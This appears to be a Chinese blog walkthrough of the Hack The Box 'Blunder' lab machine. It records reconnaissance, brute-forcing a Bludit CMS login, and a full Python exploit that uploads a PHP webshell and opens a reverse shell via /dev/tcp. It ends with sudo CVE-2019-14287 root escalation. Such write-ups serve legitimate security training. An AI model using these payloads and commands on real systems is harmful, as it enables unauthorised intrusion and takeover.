• 【Hack The Box】linux练习-- Blunder


    HTB 学习笔记

    Hack The Box】linux练习-- Blunder


    🔥系列专栏:Hack The Box
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年11月21日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!

    在这里插入图片描述

    信息收集

    21/tcp closed ftp
    80/tcp open   http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-generator: Blunder
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    |_http-title: Blunder | A blunder of interesting facts
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    80

    在这里插入图片描述页面也很简单,全都是博客

    目录爆破
    gobuster dir -u http://10.129.95.225/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php 
    
    • 1

    发现/admin
    以及todo.txt
    里面提到了一个
    -Update the CMS
    -Turn off FTP - DONE
    -Remove old users - DONE
    -Inform fergus that the new blog needs images - PENDING

    fergus也许是个用户名
    去到/admin
    在这里插入图片描述
    并同时查找漏洞
    目录爆破结果

    登陆爆破

    发现了很多漏洞。3.9.2最多
    在这里插入图片描述而我们在源码中输入cms名字也可能找到版本信息
    在这里插入图片描述
    在页面源代码发现了版本信息

    fergus用户名
    cewl http://10.10.10.191 > wordlist 获得一个字典
    fergus放到use.txt

    利用刚才的exp来爆破,因为根据查阅资料,这个cms都携带自动锁定,而这些脚本大致上是利用的http中的标头传递密码信息,不过在这里不深究

    python 48942.py -l http://10.129.95.225/admin/ -u use.txt -p wordlist
    
    • 1

    在这里插入图片描述

    得到账号密码

    fergus:RolandDeschain
    
    • 1

    接着利用rce的exp

    python 48568.py -u http://10.129.95.225/admin/ -user fergus -pass RolandDeschain -c id
    
    • 1

    在这里插入图片描述但是没有成功
    在这里插入图片描述
    再找一个

    #!/usr/bin/env python3
    
    import netifaces as ni
    import re
    import requests
    
    
    callback_ip = ni.ifaddresses('tun0')[ni.AF_INET][0]['addr']
    username = 'fergus'
    password = 'RolandDeschain'
    url = 'http://10.10.10.191'
    
    
    s = requests.session()
    
    # Login
    resp = s.get(f'{url}/admin/')
    csrf = re.findall('name="tokenCSRF" value="([0-9a-f]{32,})"', resp.text)[0]
    s.post(f'{url}/admin/', allow_redirects=False,
            data = {'tokenCSRF': csrf, 'username': username, 'password': password, 'remember': 'true', 'save': ''})
    
    # Get CSRF to upload images
    resp = s.get(f'{url}/admin/new-content/index.php')
    csrf = re.findall('\nvar tokenCSRF = "([0-9a-f]{32,})";', resp.text)[0]
    
    # Upload webshell
    form_data = {'images[]': ('0xdf.php', '<?php system($_REQUEST["cmd"]); ?>', 'image/png')}
    data = {'uuid': 'junk',
            'tokenCSRF': csrf}
    s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)
    
    # Upload .htaccess file
    form_data = {'images[]': ('.htaccess', 'RewriteEngine off', 'image/png')}
    s.post(f'{url}/admin/ajax/upload-images', data=data, files=form_data, proxies={'http':'http://127.0.0.1:8080'}, allow_redirects=False)
    
    # Trigger Shell
    resp = s.get(f'{url}/bl-content/tmp/0xdf.php', params={'cmd':f'bash -c "bash -i >& /dev/tcp/{callback_ip}/443 0>&1"'})
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37

    才用下面的脚本
    成功拿到shell
    在这里插入图片描述同样的作为一个www用户,我将在var目录下自习搜索
    在www下的cms相似文件名的php脚本中我发现了凭据
    在这里插入图片描述

    "role": "admin",
            "password": "bfcc887f62e36ea019e3295aafb8a3885966e265",
            
    "role": "author",
            "password": "be5e169cdf51bd4c878ae89a0a89de9cc0c9d8c7",
    
    • 1
    • 2
    • 3
    • 4
    • 5

    但是解密不出来

    在这里插入图片描述
    在var/www/bludit-3.10.0a/bl-content/database
    发现了别的用户

    nickname": "Hugo",
            "firstName": "Hugo",
            "lastName": "",
            "role": "User",
            "password": "faca404fd5c0a31cf1897b823c695c85cffeb98d",
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    Password120
    
    • 1

    我们登陆

    su hugo
    
    
    sudo -l
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述这意味着我可以运行 sudo /bin/bash作为除 root 以外的任何用户,这很遗憾,因为 root 是我想要运行它的用户

    但是我们搜索一下
    搜索的内容看下图的搜索框

    CVE-2019-14287

    在这里插入图片描述只要我们输入下面的命令,我们就会被视为根

    谷歌第一条

    sudo -u#-1 /bin/bash
    
    • 1

    在这里插入图片描述

  • 相关阅读:
    SQL学习十七、事务处理
    力扣215. 数组中的第K个最大元素
    动手实践丨使用华为云IoT边缘体验“边云协同”
    对京东云鼎的学习笔记
    开发工程师必备————【Day18】CSS选择器详细知识介绍
    Unity PlayerPrefs相关应用
    全球七家半导体工厂建设受阻:英特尔、三星、台积电等面临延期挑战
    尚硅谷-SpringMVC篇
    高级架构师_Docker_第2章_ Docker核心原理_ 第6节Docker部署微服项目
    学计算机必参加的含金量赛事!
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/127983809